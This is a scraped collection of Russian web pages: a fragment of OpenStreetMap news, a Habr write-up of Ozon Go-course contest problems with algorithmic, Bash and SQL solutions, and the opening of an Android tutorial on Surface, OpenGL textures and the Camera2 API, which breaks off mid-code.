* На интернет-портале Die Welt вышла [статья](https://www.welt.de/wirtschaft/webwelt/article194577987/Apps-fuer-Wassersportler-Die-besten-Anwendungen-fuer-iOS-und-Android.html) о лучших приложениях для любителей водных видов спорта.
---
Общение российских участников OpenStreetMap идёт в [чатике](https://t.me/ruosm) Telegram и на [форуме](http://forum.openstreetmap.org/viewforum.php?id=21).
Также есть группы в социальных сетях [ВКонтакте](https://vk.com/openstreetmap), [Facebook](https://www.facebook.com/openstreetmap.ru), но в них в основном публикуются новости.
[Присоединяйтесь к OSM!](https://www.openstreetmap.org/user/new) | https://habr.com/ru/post/455455/ | null | ru | null |
# Маски, картины, тайные покупатели и анализ продаж: разбираем решения задач для Go-разработчиков
3 апреля на платформе All Cups прошло отборочное соревнование на курс «[Продвинутая разработка микросервисов на Go](https://route256.ozon.ru/go-developer)» — это уже второй поток бесплатных курсов для разработчиков от Ozon Tech. Программа предназначена для мидлов, поэтому нужно было придумать задания и провести контест, чтобы отобрать релевантных участников.
Методисты All Cups совместно с организаторами разработали алгоритмические задачи, добавив актуального контекста. Здесь много любителей головоломок: предлагаем попробовать свои силы в задачах и сравнить с решениями.
Задача «Маски»
--------------
Никита собирается открывать свой пункт выдачи заказов (ПВЗ). Для обеспечения безопасности посетителей Никита решил обеспечить ПВЗ одноразовыми медицинскими масками, которые будут поставляться каждый месяц в количестве  штук. Местные поставщики продают маски по цене 0,55 рублей за одну штуку, но можно сэкономить, купив упаковку из 24 масок за 11 рублей или коробку из 16 упаковок за 160 рублей. Помогите Никите, определив, сколько коробок, упаковок и отдельных масок он должен купить, чтобы заплатить как можно меньше денег.
**Примечание**: Никита готов купить больше масок, чем ему нужно, если это позволит сэкономить.
#### Формат входных данных
В одной строке вводится одно целое число .
#### Формат выходных данных
Требуется вывести три числа в одну строку через пробел — количество отдельных масок, упаковок и коробок, которые надо купить.
**Решение**
Если нужно купить  маски, то выгоднее всего приобрести сразу коробку. А если нужно только  маски, то лучше купить упаковку, а не поштучно. Поэтому можно придерживаться такой стратегии:
1. Сначала купить как можно больше коробок .
2. Затем — как можно больше упаковок .
3. И остаток M докупить поштучно.
Однако такой подход не всегда самый выгодный, потому что можно купить лишние маски, если это позволит сэкономить. К тому же при таком подходе количества коробок и упаковок отличаются от оптимальных максимум на единицу. Давайте теперь проверим неравенство, при котором выгоднее купить упаковку, чем докупать поштучно: . А в каком случае выгодно купить ещё одну коробку? В случае, если , где  и  — количества масок и упаковок соответственно, обновлённые с учётом покупки ещё одной упаковки.
Остаётся лишь представить эти формулы в коде.
Задача «Склады»
---------------
Компания-застройщик занимается строительством недвижимости промышленного назначения, а именно складских помещений. Каждый квадратный метр площади стоит  рублей. Компания имеет достаточный запас оборотных средств, чтобы продавать построенные помещения не сразу после завершения строительства, а в тот момент, когда ей это выгодно. Рынок недвижимости очень динамичный, поэтому цена квадратного метра меняется каждый день. Аналитики застройщика смогли точно спрогнозировать цену на ближайшие  дней (пронумеруем дни в хронологическом порядке от  до ). Теперь требуется определить, в какие из этих дней нужно продавать, чтобы по истечении  дней заработать как можно больше денег. Известно, что стройка новых площадей происходит с равномерной скоростью  кв. метров в сутки. А к нулевому дню объем построенной площади составлял  кв. метров, при том что .
#### Формат входных данных
В первой строке вводится одно целое число  — количество дней. Во второй строке вводится последовательность из  целых положительных чисел — цена квадратного метра складской площади в каждый из дней.
#### Формат выходных данных
Вывести одно число — максимальное количество денег, которое может заработать компания-застройщик.
**Решение**
Применим «жадный» подход: будем продавать каждый построенный квадратный метр за максимальную цену. Пусть  — цена квадратного метра складов в -й день. Какая будет максимальная цена продажи квадратного метра, построенного к -му дню? Так как продать его мы можем в любой день с -го по -й, то и максимальная цена будет равна . Остаётся подсчитать этот максимум для каждого дня. Проще всего сделать это за квадратичную асимптотику, просто перебрав день продажи для каждого дня постройки.
Есть и другое, более быстрое решение задачи за линейное время! Для этого пройдём по массиву  с конца, поддерживая наибольшее число среди рассмотренных элементов — это и будет искомая цена продажи!
Задача «Картины»
----------------
Максим решил заняться продажей картин на NFT-площадках, а для этого нужно придумать что-то свое и оригинальное. Максиму очень нравится, как выглядят цифры на черном фоне. Нужно написать программу, которая будет рисовать квадрат, состоящий из целых чисел и выводить информацию о его размере.
#### Формат входных данных
В одной строке через пробел вводится набор чисел или символов.
#### Формат выходных данных
В первой строке выводится сообщение «Квадрат со стороной N». В следующих строках требуется вывести квадрат, сформированный из набора чисел или символов, длина стороны — длина введённого массива.
**Решение**
Эта задача не вызывает трудностей у любителей программирования до тех пор, пока не выясняется, что решить её нужно с помощью скрипта на Bash. Задача чисто техническая, вот один из возможных способов решения:
1. Для начала прочитаем массив из входных данных и узнаем его длину:
```
read line
array=($line)
len=${#array[@]}
```
2. Затем выведем фразу про «квадрат»:
```
echo "Квадрат со стороной $len"
```
3. И в завершение воспользуемся циклом со счётчиком и отобразим исходный массив  раз:
```
for (( i = 0; i < $len; i++ )) do
echo $line
done
```
Задача «Продажи»
----------------
В базе данных есть таблица `Invoice` следующего вида:
Напишите запрос, который покажет общие продажи по всем странам, отсортированные в порядке возрастания. На выходе в первой колонке должно быть название страны, а во второй показатель общих продаж.
*На чемпионате во фразе «отсортированные в порядке» было некорректное склонение, что заставляло пользователей думать, что сортировать необходимо по странам. Это было оперативно исправлено и сейчас формулировка корректна.*
**Примечание**: для решения задачи используется база данных Chinook Database в формате SQLite — см. файл [Chinook\_Sqlite.sqlite](https://cups.online/api_v2/task/1225/124).
**Решение**
Для решения этой задачи достаточно уметь группировать элементы таблицы по значению и сортировать их. Первое можно сделать командой `GROUP BY`, а второе — командой `ORDER BY`. Тогда запрос, который покажет общие продажи по всем странам, отсортированные в порядке возрастания, может выглядеть так:
```
SELECT
BillingCountry,
SUM(total)
FROM
Invoice
GROUP BY BillingCountry
ORDER BY SUM(total);
```
Функция `SUM` в рамках `GROUP BY` посчитает именно то, что мы хотим — сумму всех продаж для каждой страны.
Задача «Тайные покупатели»
--------------------------
Паша и Саша проживают в большом подмосковном городе, в котором  районов. Не так давно два друга решили стать тайными покупателями в Ozon. Они решили подойти к делу очень ответственно, поэтому очень хотят обойти все пункты выдачи, посовещаться и выбрать самый лучший. В каждом районе города есть только одна точка выдачи. Внимательно изучив карту города, ребята поняли, что проверить все пункты у них физически не получится, уж очень далеко им придётся ходить, поэтому они решили ограничиться количеством путешествий, равным количеству всех возможных вариантов обхода, взятому по модулю , а также решили позвать на помощь  друзей, которые будут параллельно обходить точки. При этом каждому из друзей выделено разное подмножество пунктов выдачи: , , ..., . Найдите количество вариантов обходов всех пунктов выдачи в произвольном порядке.
**Примечание**: Паша и Саша ходят вместе, а друзья поодиночке. Например, для  есть 6 вариантов обходов (, , , , , ), по модулю 6 это 0. А для  — 24 варианта обходов (, ,…, ). 24 по модулю 7 будет 3.
#### Формат входных данных
В первой строке вводится число . Далее на вход поступает  строк, каждая из которых содержит два целых числа  и  (, ).
> Участников соревнования могло ввести в заблуждение неопределенность в ограничении . Во время соревнования задание было дополнено, сейчас вам доступен финальный текст.
#### Формат выходных данных
Вывести  чисел — количество обходов для каждого участника.
**Решение**
Нам нужно для  пар чисел  и  найти остаток от деления факториала  на . При этом ограничения на  слишком велики, чтобы вычислять этот факториал за линейное время.
Занимательный факт: для любых  каждое число  делится без остатка на . Тогда возможны два случая:
1. : ответ .
2. : можно посчитать факториал по модулю за линейное время (нам это позволяет ограничение на значение ).
Если раньше вы не работали с факториалом по модулю, то вот пример псевдокода его подсчёта:
```
fact = 1
for i from 2 to n
fact = (fact * i) mod t
```
Задача «Маршруты»
-----------------
Кирилл работает аналитиком в Ozon, и недавно ему в руки попал отчёт, из которого он понял, что время доставки товаров в пункты выдачи можно значительно сократить. Он заметил, что пункты выдачи в городе образуют выпуклый многоугольник с количеством вершин, равным , и располагаются на его вершинах, где одна вершина = один пункт выдачи. Кирилл решил воспользоваться всеми прелестями современных технологий, он хочет проложить воздушные пути между пунктами выдачи, по которым будут перемещаться курьеры на грузоподъёмных реактивных ранцах.
Можно выбрать какое-то число , при котором каждый пункт выдачи будет соединен с  соседними пунктами выдачи слева и справа. Нужно найти минимальное , чтобы кратчайшее расстояние между любыми двумя пунктами выдачи было меньше или равно . Расстояние между пунктами выдачи примерно одинаковое, поэтому расстояние будет измеряться в количестве переходов, которые нужно сделать, чтобы попасть из одного пункта выдачи в другой.
**Пояснение к примеру**
1. Если при  выбрать  (соединив каждую вершину только с одним ближайшим соседом слева и справа), то минимальное расстояние, например от узла  до узла  будет равно 3. Но , значит это решение не удовлетворяет условию.
2. Если при  выбрать  (соединив каждую вершину с двумя ближайшими соседями с каждой стороны), то минимальное расстояние между любой парой вершин получается равным 2. Это удовлетворяет условию , значит это верное решение.
3. Для треугольника () все вершины являются соседними друг другу, значит единственно возможным решением является , что удовлетворяет условию .
#### Формат входных данных
В первую строку вводится одно целое число  — количество наборов входных данных. Для каждого набора входных данных в строку через пробел вводится два целых числа  и . **Ограничения**: , .
#### Формат выходных данных
Для каждого набора чисел выведите минимальное , удовлетворяющее условию.
**Решение**
Для решения этой задачи нам нужно вывести формулу. Если , то нам подойдёт любое , поэтому ответ будет .  — интересный случай. Зафиксируем некоторую точку в многоугольнике. Тогда  — расстояние до наиболее удалённой от неё точки при условии, что . Например, для случаев  и  наиболее удалённая точка находится на расстоянии . Как изменится количество переходов, если увеличить ? Тогда мы сможем переходить не только в соседнюю точку, но и «прыгать» через  точку. Например, если , то при  наиболее удалённая точка будет в четырёх переходах от зафиксированной.
А что будет, если  не делится на  без остатка? В этом случае для прохождения оставшегося пути нам понадобится ещё один переход. С этого момента есть способа решения: двоичный поиск по ответу или доработка формулы для получения минимального . Возьмём максимум полученного значения и единицы, так как нам в любом случае нужно соединять точку хотя бы с одним соседом. Тогда для формулы  мы можем получить , например при  и .
Задача «Даты»
-------------
Напиши скрипт, который будет получать на вход `stdin` два параметра `d1` и `d2` в формате YYYY-MM-DD, и будет считать разницу между этими датами в днях. Скрипт проверяется на Bash 5.1.4 (запуск под Ubuntu 20.04).
#### Формат входных данных
Две даты через пробел в формате YYYY-MM-DD.
#### Формат выходных данных
Одно целое число — разница в днях.
**Решение**
Чтобы решить задачу, необходимо уметь пользоваться функцией `date`, которая позволяет получить из строки дату и преобразить её в формат unix time. Давайте так и поступим, затем найдём разность и переведём её в дни:
1. Считываем даты из входного потока:
```
read s1 s2
d1=`date -d "$s1" "+%Y-%m-%d"`
d2=`date -d "$s2" "+%Y-%m-%d"`
```
2. Переводим даты в unix time:
```
ut1=`date -d "$d1" +%s`
ut2=`date -d "$d2" +%s`
```
3. Считаем разность секунд и переводим в дни:
```
diff=$(($ut1 - $ut2))
diff_days=$(($diff / (60 * 60 * 24)))
```
4. Выводим абсолютное значение разности (можно было бы написать `if`, но такой «чит» выглядит лаконичнее: он переводит значение в строку и удаляет лидирующий минус, если он есть):
```
echo ${diff_days#-}
```
Бонус: уже после написания разбора обнаружилось два забавных факта:
1. Во всех тестах вторая дата идёт хронологически позже первой.
2. Формат даты в условии не надо дополнительно парсить, а можно сразу переводить в unix time.
Таким образом, немного упрощённое решение выглядит так:
```
read d1 d2
ut1=`date -d $d1 +%s`
ut2=`date -d $d2 +%s`
diff=$(($ut2 - $ut1))
diff_days=$(($diff / (60 * 60 * 24)))
echo $diff_days
```
Задача «Анализ продаж»
----------------------
В базе данных есть таблицы `Invoice`, `Customer`, `Employee` следующего вида:
Напишите запрос, который будет искать трех продавцов на маркетплейсе, совершивших больше всего продаж, начиная с 2010 года. На выходе в первой колонке должны быть имя и фамилия продавца, а во второй количество их продаж, отсортированное в порядке убывания.
Примечание: для решения задачи используется база данных Chinook Database в формате SQLite — см. файл [Chinook\_Sqlite.sqlite](https://cups.online/api_v2/task/1225/124). Также во время чемпионата у участников возникал вопрос относительно имени и фамилии в первой колонке таблицы. Поясним, что они должны быть через пробел.
**Решение**
Сначала нужно понять, как join-ить данные, чтобы получить таблицы продаж для каждого продавца. `Invoice` и `Сustomer` можно объединить по `CustomerId`, а `Сustomer` и `Employee` по `Customer.SupportRepId = Employee.EmployeeId`.
Теперь отфильтруем все продажи начиная с 2010 года. Для этого можно можно преобразовать даты с помощью `CAST` и сравнить, либо воспользоваться выражением `LIKE «201%»`, тестовые данные допускают оба варианта.
Далее остается лишь соединить фамилию и имя и выполнить простейшую агрегацию. Пример финального запроса:
```
SELECT
Employee.FirstName || ' ' || Employee.LastName as Name,
COUNT(Customer.SupportRepId) AS Total
FROM
Invoice
INNER JOIN
Customer
ON
Invoice.CustomerId = Customer.CustomerId
INNER JOIN
Employee
ON
Customer.SupportRepId = Employee.EmployeeId
WHERE
Invoice.InvoiceDate LIKE "201%"
GROUP BY Name
ORDER BY Total DESC
LIMIT 3
```
Задача «Треки»
--------------
В базе данных есть таблицы `Invoice`, `InvoiceLine`, `Track` следующего вида:
Напишите запрос, который составит рейтинг треков по их продаваемости, начиная с 2010 года. На выходе должны получиться две колонки. В первой колонке должны быть `Id` трека, отсортированные в порядке возрастания, а во второй колонке — количество проданных копий трека, отсортированных в порядке убывания.
Примечание: для решения задачи используется база данных Chinook Database в формате SQLite — см. файл [Chinook\_Sqlite.sqlite](https://cups.online/api_v2/task/1225/124).
**Решение**
Нам нужно сделать общую таблицу при помощи операции `INNER JOIN`. Облегчает задачу то, что у нас есть общее поле `TrackId` в таблицах `Track` и `InvoiceLine`, а также общее поле `InvoiceId` в таблицах `InvoiceLine` и `Invoice`. Затем отфильтруем все продажи начиная с 2010 года. Как и в предыдущей задаче, для этого есть два способа: применить к датам `CAST` и сравнить, или выполнить выражение `LIKE «201%»`.
Остаётся подсчитать сумму продаж по каждому треку: сгруппируем данные, применим функцию `SUM` к значению `InvoiceLine.Quantity`, а затем отсортируем значения в получившейся таблице. Вариант финального запроса:
```
SELECT
Track.TrackId AS TrackId,
SUM(InvoiceLine.Quantity) AS Total
FROM
Track
INNER JOIN
InvoiceLine
ON
Track.TrackId = InvoiceLine.TrackId
INNER JOIN
Invoice
ON
InvoiceLine.InvoiceId = Invoice.InvoiceId
WHERE
Invoice.InvoiceDate LIKE '201%'
GROUP BY Track.TrackId
ORDER BY Total DESC, TrackId ASC
```
Такие задачи были в отборочном и основном раунде для поступления на курс «[Продвинутая разработка микросервисов на Go](https://route256.ozon.ru/go-developer)». Какая задача вам показалась самой лёгкой, а какая — наиболее сложной? А если вы нашли более эффективное или элегантное решение, делитесь в комментариях :) | https://habr.com/ru/post/660489/ | null | ru | null |
# Android. Surface
Дисклеймер
----------
Данная статья предназначена для начинающих андроид разработчиков с небольшим опытом работы с видео и/или камерой, особенно тех кто начал разбирать примеры [grafika](https://github.com/google/grafika) и кому они показались сложными — здесь будет рассмотрен похожий код с упрощенным описанием основных шагов, проиллюстрированных диаграммами состояний.
Почему в заголовке вынесен класс Surface? В android множество классов имеют в своем названии слово *Surface* (Surface, SurfaceHolder, SurfaceTexture, SurfaceView, GLSurfaceView) они не связаны общей иерархией тем не менее объединены низкоуровневой логикой работы с вывод изображений. Мне показалось разумным использовать его в названии чтобы подчеркнуть попытку раскрытия работы именно с этой частью SDK.
Пример использования с разным API
---------------------------------
Попробуем написать следующий пример: **будем брать preview с камеры, накладывать на него анимированный drawable, выводить это все на экран и по необходимости записывать в файл.** Полный код будет лежать <https://github.com/tttzof351/AndroidSurfaceExample/>
Для вывода на экраны мы воспользуемся [GLSurfaceView](https://developer.android.com/reference/android/opengl/GLSurfaceView), для записи классами [MediaCodec](https://developer.android.com/reference/android/media/MediaCodec) и [EGLSurface](https://developer.android.com/reference/android/opengl/EGLSurface), а с камерой общаться через [API V2](https://developer.android.com/reference/android/hardware/camera2/package-summary). Общая схема примерно следующая:
Наложение нескольких Surface
----------------------------
Surface — фактически дескриптор области в памяти, которую нужно заполнить изображением. Скорее всего, мы получаем его пытаясь вывести что-то на экран или в файл, таким образом он работает как буфер для некоторого “процесса” который производит данные.
Чтобы создать наложение из нескольких Surface воспользуемся OpenGL.
Для этого мы создадим две квадратные external-текстуры и получим из них Surface-ы
В коде это будет выглядеть как то так:
[OpenGLExtarnalTexture.kt](https://github.com/tttzof351/AndroidSurfaceExample/blob/881270636942f695427f6f5a283580417798336b/app/src/main/java/com/example/surfaces/helpers/OpenGLExternalTexture.kt#L43)
```
val textures = IntArray(1)
GLES20.glGenTextures(1, textures, 0)
val textureId = textures[0]
//Как то рассчитаем размеры
val textureWidth = ...
val textureHeight = ...
//Прослойка между
val surfaceTexture = SurfaceTexture(textureId)
surfaceTexture.setDefaultBufferSize(textureWidth, textureHeight)
//Собственно, surface который "связан" с нашей текстурой
val surface = Surface(surfaceTexture)
```
**XYZ координаты**
Теперь нам нужно понять как создать и расположить текстуры, а для этого придется вспомнить как устроена координатная сетка в OpenGL: ее центр совпадает с центром сцены (окна), а границы нормированы т.е от -1 до 1.
На этой сцене мы хотим задать два прямоугольника (работа идет на плоскости поэтому все z координаты логично установлены в 0f) — красным мы обозначим тот куда будем помещать preview для камеры, а синим для анимированного drawable-а:
Выпишем наши координаты явно:
```
fullscreenTexture = floatArrayOf(
// X, Y, Z
-1.0f, -1.0f, 0.0f,
1.0f, -1.0f, 0.0f,
-1.0f, 1.0f, 0.0f,
1.0f, 1.0f, 0.0f,
)
smallTexture = floatArrayOf(
// X, Y, Z
0.3f, 0.3f, 0.0f,
0.8f, 0.3f, 0.0f,
0.3f, 0.8f, 0.0f,
0.8f, 0.8f, 0.0f
)
```
**UV координаты**
Достаточно ли этого? Оказывается, что нет :(
Текстура это отображение картинки на область сцены и чтобы его правильно совершить нужно указать в какое точно место точки на картинке попадут внутри этой области — для этого в OpenGL применяются **UV** координаты — они выходят из левого нижнего угла и имеют границы от 0 до 1 по каждой из осей.
Работает это следующим образом — каждой вершине нашей области мы зададим **UV** координаты и будем искать соответствующие точки на изображении, считая что там ширина и высота равны по 1.
Рассмотрим на примере — будем считать что камера отдает нам изображение в перевернутом и отраженном состоянии и при этом мы хотим показать только правую-верхнюю часть т.е взять 0.8 по широты и высоте изображения.
Тонкий момент — на данном этапе мы не знаем соотношения сторон области на экране — у нас есть только квадрат в относительных координатах, который заполнит собой всю сцену и соответственно растянется. Если бы мы делали fullscreen камеру то наши относительные размеры (2 по каждой стороне) растянулись бы до условных 1080x1920. Будем считать что размеры сцены мы зададим такие что их соотношение будет равно соотношению камеры.
Посмотрим куда перейдут координаты — правая верхняя точка нашей области (1, 1, 0) должна перейти в UV координату (0, 0), левая нижняя в (0.8f, 0.8f) и т. д
Таким образом получим соответствие XYZ и UV:
```
// X, Y, Z, U, V
-1.0f, -1.0f, 0.0f, 0.8f, 0.8f,
1.0f, -1.0f, 0.0f, 0.8f, 0.0f,
-1.0f, 1.0f, 0.0f, 0.0f, 0.8f,
1.0f, 1.0f, 0.0f, 0.0f, 0.0f
```
Если соотношение сторон между preview с камеры и областью на экране совпадало изначально то оно очевидным образом продолжит сохранятся т.к в нашем случаи мы просто умножили на 0.8f.
А что будет есть мы зададим значения больше 1? В зависимости от настроек которые мы передали OpenGL-у мы получим точки какой то части изображения. В нашем примере будет повторяться последняя линия по соответствующей оси и мы увидим артефакты в виде “полосок”
**Итог: если мы хотим сжать/вырезать изображение сохраняя при этом позицию области на экране то UV координаты наш выбор!**
**Зададим координаты для наших текстур**
```
fullscreenTexture = floatArrayOf(
// X, Y, Z, U, V
-1.0f, -1.0f, 0.0f, 1f, 0f,
1.0f, -1.0f, 0.0f, 0f, 0f,
-1.0f, 1.0f, 0.0f, 1f, 1f,
1.0f, 1.0f, 0.0f, 0f, 1f
)
smallTexture = floatArrayOf(
// X, Y, Z, U, V
0.3f, 0.3f, 0.0f, 0f, 0f,
0.8f, 0.3f, 0.0f, 1f, 0f,
0.3f, 0.8f, 0.0f, 0f, 1f,
0.8f, 0.8f, 0.0f, 1f, 1f
)
```
**Шейдеры**
Иметь статичные XYZ и UV-координаты не очень удобно — мы например можем захотеть перемещать и масштабировать жестами наши текстуры. Чтобы их трансформировать заведем две матрицы для каждой текстуры: **MVPMatrix** и **TexMatrix** для для XYZ и UV координат соответственно.
Каждая OpenGL2 должна содержать шейдеры для того, чтобы вывести что-то на экран. Конечно, это не там тема которую можно раскрыть в одном абзаце, тем не менее в нашем случае они будут тривиальными, а потому можно быстро понять что они что они делают, без особого знания материала.
Прежде всего шейдера два — vertex и fragment.
Первый (vertex) будет обрабатывает наши вершины, а именно просто перемножать наши XYZ / UV координаты с соответствующими им матрицами и заполнять OpenGL переменную **gl\_Position** которая как раз отвечает за финальное положение нашей текстуры на экране.
Второй (fragment) должен заполнить **gl\_FragColor** пикселями изображения.
Итого имеем: переменные внутри vertex шейдера мы должны заполнить поля нашими данными, а именно:
* MVPMatrix -> **uMVPMatrix**
* **TexMatrix -> uTexMatrix**
* наши XYZ координаты вершины -> **aPosition**
* UV координаты -> **aTextureCoord**
**vTextureCoord** — нужна для проброса данных из vertex шейдера в fragment шейдер
В fragment шейдере мы берем преобразованные UV координаты и используем их для отображения пикселей изображения в области текстуры.
```
val vertexShader = """
uniform mat4 uMVPMatrix;
uniform mat4 uTexMatrix;
attribute vec4 aPosition;
attribute vec4 aTextureCoord;
varying vec2 vTextureCoord;
void main() {
gl_Position = uMVPMatrix * aPosition;
vTextureCoord = (uTexMatrix * aTextureCoord).xy;
}
"""
val fragmentShader = """
#extension GL_OES_EGL_image_external : require
precision mediump float;
varying vec2 vTextureCoord;
uniform samplerExternalOES sTexture;
void main() {
gl_FragColor = texture2D(sTexture, vTextureCoord);
}
"""
```
Ради справки укажем чем отличаются типы:
* uniform — переменная такого типа будет сохранять значения при многократном вызове, мы используем один шейдер которые вызывается последовательно для двух текстур, так что все равно будем перезаписывать при каждой отрисовки
* attribute — данные такого типа читаются из вершинного буфера, их нужно загружать при каждой отрисовки
* varying — нужны для передачи данных из vertex шейдера в fragment
Как передать параметры в шейдер? Для этого вначале нужно получить id (указатель) переменной:
```
val aPositionHandle = GLES20.glGetAttribLocation(programId, "aPosition")
```
Теперь по этому id нужно загрузить данные:
```
//Вначале превратим наш массив вершин во floatbuffer
val verticesBuffer = ByteBuffer.allocateDirect(
fullscreenTexture.size * FLOAT_SIZE_BYTES
).order(
ByteOrder.nativeOrder()
).asFloatBuffer()
verticesBuffer.put(fullscreenTexture).position(0)
/*
Установим начальное смещение - для XYZ это будет 0 т.к они находится в начале
Затема передадим id нашего аттрибута куда мы загружаем данные, указав сколько
значений координат брать, и какое то смещение в байтах нужно затем совершить чтобы попасть в следующую вершуны - 5 это кол-во XYZUV, а 4 - кол-во байт во float
*/
verticesBuffer.position(0)
GLES20.glVertexAttribPointer(
aPositionHandle,
3,
GLES20.GL_FLOAT,
false,
5 * 4,
verticesBuffer
)
```
**Непосредственно отрисовка**
После того как мы заполнили наши шейдеры всеми данными мы должны попросить текстуру обновить изображение, а OpenGL отрисовать наши вершины:
```
fun updateFrame(...) {
...
surfaceTexture.updateTexImage()
GLES20.glDrawArrays(GLES20.GL_TRIANGLE_STRIP, 0, 4)
}
```
В нашем примере мы разобьем работу с OpenGL сценой на два классы — непосредственно сцены и текстуры:
[OpenGLExternalTexture.kt](https://github.com/tttzof351/AndroidSurfaceExample/blob/master/app/src/main/java/com/example/surfaces/helpers/OpenGLExternalTexture.kt/)
```
class OpenGLExternalTexture(verticesData: FloatArray, ...) {
val surfaceTexture: SurfaceTexture
val surface: Surface
init {
//Проинициализируем матрицы, создадим текстуру и т.д
}
...
fun updateFrame(aPositionHandle: Int, ...) {...} //заполним данные, отрисуем кадр
fun release() {...} // отчистим данные
}
```
[OpenGLScene.kt](https://github.com/tttzof351/AndroidSurfaceExample/blob/master/app/src/main/java/com/example/surfaces/helpers/OpenGLScene.kt)
```
class OpenGLScene(
sceneWidth: Int,
sceneHeight: Int,
...
) {
val fullscreenTexture = OpenGLExternalTexture(...)
val smallTexture = OpenGLExternalTexture(..)
val aPositionHandle: Int
...
init {
//Создадим шейдеры, получим все указатали на переменные шейдера и т.д
}
fun updateFrame() {
...
fullscreenTexture.updateFrame(aPositionHandle, ...)
smallTexture.updateFrame(aPositionHandle, ...)
}
fun release() {
fullscreenTexture.release()
smallTexture.release()
}
}
```
StateMachine / Машина состояний / Конечный автомат
--------------------------------------------------
Все API которое мы предполагаем использовать в нашем примере принципиально асинхронное (ну может за исключением анимированного Drawable-а). Мы будем заворачивать такие вызовы в отдельные StateMachine-ы — подходе когда явно выписывают состояния системы, а переходы между ними происходят через отправку событий.
Давайте на простом примере посмотрим как это будет выглядеть, предположим у нас есть такое код:
```
imageView.setOnClickListener {
loadImage { bitmap ->
imageView.setBitmap(bitmap)
}
}
```
В целом все хорошо — красиво и компактно, но мы попробуем переписать его в следующим образом:
```
val uiMachine = UIMachine()
imageView.setOnClickListener { uiMachine.send(Click(imageView)) }
class UIMachine {
var state: State = WaitClick()
fun send(action: Action) = transition(action)
private fun transition(action: Action) {
val state = this.state
when {
state is WaitingClick && action is Click -> {
this.state = WaitBitmap(imageView = action.imageView)
loadImage { send(BitmapIsReady(bitmap = it)) }
}
state is WaitingBitmap && action is BitmapIsReady -> {
this.state = WaitClick
state.imageView.setImageBitmap(action.bitmap)
}
}
}
}
sealed class State {
object WaitingClick : State()
class WaitingBitmap(val imageView: ImageView): State()
}
sealed class Action {
class Click(val imageView: ImageView): Action()
class BitmapIsReady(val bitmap: Bitmap): Action()
}
```
С одной стороны получилось ***сильно*** больше, тем не менее появилось несколько неявных, но полезных свойств: многократное нажатие теперь не приводит к лишним запускам **loadImage,** хотя и не очевидно с таким объемом, но мы избавились от вложенного вызова колбеков, чем и будем в последствии пользоваться, а еще стиль написания метода transition позволяет построить диаграмму переходов которая один в один повторяет код т.е в нашем случаи:
Серым указаны переходы, которые не выписаны явно. Часто их логируют или кидают исключение, считая признаком ошибки. Мы пока обойдемся простым игнорированием и в дальнейшем не будем указывать на схемах.
Создадим базовый интерфейсы для StateMachine:
```
interface Action
interface State
interface StateMachine ~~{
var state: S
fun transition(action: A)
fun send(action: A)
}~~
```
GLSurfaceView
-------------
Самый простой способ вывести что-то на экран используя OpenGL в android это класс GLSurfaceView — он автоматически создает новые поток для рисования, запуск/пауза которого происходит по методам GLSurfaceView::onResume/onPause.
Для простоты мы будем задавать нашей вьюхе соотношение 16:9
Сам процесс отрисовки вынесен в отдельный колбек — GLSurfaceView.Renderer.
Завернув его в StateMachine-у мы получим что-то вроде этого:
[GLSurfaceMachine.kt](https://github.com/tttzof351/AndroidSurfaceExample/blob/master/app/src/main/java/com/example/surfaces/machines/GLSurfaceMachine.kt)
```
class GLSurfaceMachine: StateMachine {
override var state: GLSurfaceState = WaitCreate()
override fun send(action: GLSurfaceAction) = transition(action)
override fun transition(action: GLSurfaceAction) {
val state = this.state
when {
state is WaitCreate && action is Create -> {
this.state = WaitSurfaceReady(...)
this.state.glSurfaceView?.setRenderer(object :Renderer {
override fun onSurfaceChanged(gl: GL10?, width: Int, height: Int)
send(SurfaceReady(width, height, gl))
}
override fun onSurfaceCreated(gl: GL10?, config: EGLConfig?) {
}
override fun onDrawFrame(gl: GL10?) {
send(Draw)
}
})
}
state is WaitSurfaceReady && action is SurfaceReady -> {
val openGLScene = OpenGLScene(width, height)
this.state = DrawingAvailable(openGLScene, ...)
}
state is DrawingAvailable && action is Draw -> {
state.openGLScene.updateFrame()
}
state !is WaitCreate && action is Stop -> {
state.uiHolder.glSurfaceView?.onPause()
state.uiHolder.openGLScene?.release()
this.state = WaitSurfaceReady()
}
state is WaitSurfaceReady && action is Start -> {
state.uiHolder.glSurfaceView?.onResume()
}
}
}
}
...
val glSurfaceMachine = GLSurfaceMachine()
val glSurfaceView = findViewById(R.id.gl\_view)
glSurfaceView.layoutParams.width = width
glSurfaceView.layoutParams.height = ((16f/9f) \* width).toInt()
glSurfaceMachine.send(GLSurfaceAction.Create(glSurfaceView, ...))
```
Давайте нарисуем диаграмму переходов:
Теперь наш код пытается что-то выводить на экран, правда пока у него это получается плохо — ни чего кроме черного экрана мы не увидим. Как не сложно догадаться дело в том, что в наши Surface-ы сейчас ни чего не попадает т.к мы пока не реализовали источники изображений. Давайте это исправим — первым делом создадим CanvasDrawable:
[CanvasDrawable.kt](https://github.com/tttzof351/AndroidSurfaceExample/blob/master/app/src/main/java/com/example/surfaces/CanvasDrawable.kt)
```
class CanvasDrawable : Drawable() {
private val backgroundPaint = Paint().apply { ... }
private val circlePaint = Paint().apply { ... }
override fun draw(canvas: Canvas) {
canvas.drawRect(bounds, backgroundPaint)
val width = bounds.width()
val height = bounds.height()
val posX = ...
val posY = ...
canvas.drawCircle(posX, posY, 0.1f * width, circlePaint)
}
...
}
```
Теперь секцию в GLSurfaceMachine мы можем дополнить отрисовкой canvasDrawable на canvas-е которые предоставляет surface у соответствующей текстуры:
```
state is DrawingAvailable && action is Draw -> {
val canvasDrawable = state.canvasDrawable
val smallTexture = state.openGLScene.smallTexture
val bounds = canvasDrawable.bounds
val canvas = smallSurface.lockCanvas(bounds)
canvasDrawable.draw(canvas)
smallSurface.unlockCanvasAndPost(canvas)
state.openGLScene.updateFrame()
}
```
После чего увидим что-то наподобие:
Camera API V2
-------------
Зеленый прямоугольник это конечно весело и интригующе, но пора попробовать вывести preview с камеры на оставшейся surface.
Давайте выпишем этапы работы с камерой:
* Ожидаем получение permission-а. У нас это будет состояние **WaitingStart**
* Получаем инстанс camera manager-а, находим логический id (обычно их два — для back и front, а логический он потому что на современных девайсах камера может состоять из множества датчиков) нужной камеры, выбираем подходящий размер, открываем камеру, получаем cameraDevice. Состояние **WaitingOpen**
```
val manager = getSystemService(Context.CAMERA_SERVICE) as CameraManager
var resultCameraId: String? = null
var resultSize: Size? = null
for (cameraId in manager.cameraIdList) {
val chars = manager.getCameraCharacteristics(cameraId)
